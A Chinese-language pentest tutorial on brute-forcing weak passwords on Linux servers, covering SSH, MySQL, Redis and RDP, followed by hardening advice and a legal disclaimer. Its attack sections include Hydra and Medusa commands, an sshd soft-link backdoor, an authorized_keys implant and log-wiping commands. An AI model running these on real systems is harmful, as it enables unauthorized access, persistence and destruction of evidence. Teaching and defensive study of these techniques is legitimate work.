【仅供安全研究、教学及合法渗透测试参考,严禁用于任何非法用途】
一、攻击面总览
————————
对暴露在公网的 Linux 服务器,攻击者通常沿着以下链路展开行动:
本文聚焦第 3 步“弱密码破解”及其前置与后续环节,梳理常见手法、工具链与防御建议。
二、典型攻击流程
————————
信息收集
• 使用 Nmap、Masscan 快速扫全网 22/2222/3389/3306/6379 等高危端口 。
• 结合 shodan、censys 搜索公网暴露的 SSH、MySQL、Redis 服务。
弱口令爆破
a) SSH 爆破
– 工具:Hydra、Medusa、Metasploit 的 auxiliary/scanner/ssh/ssh_login 。
– 字典:top10000、爆破社区泄露字典、社工定制字典(姓名拼音+生日)。
– 命令示例(Hydra):
hydra -L user.txt -P pass.txt -t 32 -s 22 ssh://target_ip
b) MySQL 爆破
– 场景:MySQL 开放 3306 且 skip-grant-tables 误配置。
– 工具:Hydra、Metasploit auxiliary/scanner/mysql/mysql_login 。
c) Redis 爆破
– 若未设置 requirepass,可直接写公钥、计划任务拿到 shell。
d) RDP 爆破
– 工具:Crowbar、ncrack(支持多线程 RDP 爆破)。
远程漏洞利用(配合爆破)
• OpenSSH < 8.2 的 user-enumeration + 爆破组合拳 。
• Web 管理口(phpMyAdmin、Jenkins、Sonatype Nexus)弱口令 → 远程命令执行。
提权与持久化
• 爆破成功后,通过 sudo -l、SUID、Polkit 等本地提权。
• 常见后门:
– SSH soft link 后门:ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223 。
– authorized_keys 公钥写入,实现免密登录。
• 持久化:systemd service、crontab、PAM 模块注入。
清理痕迹
• 使用 shred -zu 删除日志、timestomp 修改文件时间、iptables -F 清空防火墙日志。
三、工具链速查表
————————
端口扫描 | nmap | nmap -sS -p- -T4 target_ip | 可配合 –script ssh-brute |
SSH 爆破 | Hydra | hydra -L/-P/-C … ssh://… | 支持并行 64 线程 |
Medusa | medusa -M ssh -H ip.txt -U user.txt -P pass.txt -e ns -F | 模块化,支持 SSL | |
Metasploit | use auxiliary/scanner/ssh/ssh_login | 联动 meterpreter | |
MySQL 爆破 | Hydra | hydra -l root -P top1000.txt target_ip mysql | 同时爆破 root/root 组合 |
Metasploit | use auxiliary/scanner/mysql/mysql_login | 可导出 hash | |
Web 爆破 | Burp Intruder、Hydra http-post-form | hydra -L/-P target_ip http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid" | 支持 CSRF token 绕过脚本 |
四、实战演练(实验环境)
————————
a) nmap -sV -p 22 192.168.1.100 确认版本 OpenSSH 7.4。
b) hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 -t 64
c) 30 秒后爆出密码 123456 → 登录 → sudo -l → 发现 (ALL) NOPASSWD:ALL → 直接 sudo bash 获得 root。
d) 植入公钥:mkdir -p ~/.ssh && echo "ssh-rsa AAA…" >> ~/.ssh/authorized_keys。
五、防御加固清单
————————
口令策略
• 长度 ≥12 位,包含大小写、数字、特殊字符;强制定期更换。
• 使用 pam_pwquality.so 或 passwdqc 强制复杂度。
登录限制
• 修改默认端口 ≠ 22;启用 fail2ban 或 sshguard 自动封锁爆破 IP 。
• AllowUsers user1@192.168.1.0/24 限定 IP 白名单。
双因子认证
• 为 SSH/Web 管理口启用 Google Authenticator 或 Duo 2FA。
日志与监控
• 开启 rsyslog + logrotate,集中到 ELK/Splunk;
• 使用 OSSEC/Wazuh IDS 实时告警爆破行为。
补丁与基线
• 每周执行 yum update 或 apt upgrade;
• 参考 CIS Benchmark 自动化加固(Ansible/Chef)。
六、法律与道德声明
————————
任何未经授权的远程攻击、入侵、爆破行为均违反《刑法》第 285、286 条,可构成“非法侵入计算机信息系统罪”“破坏计算机信息系统罪”。本文内容仅限于合法授权的渗透测试、攻防演练及教学研究场景,严禁用于非法目的。
评论前必须登录!
注册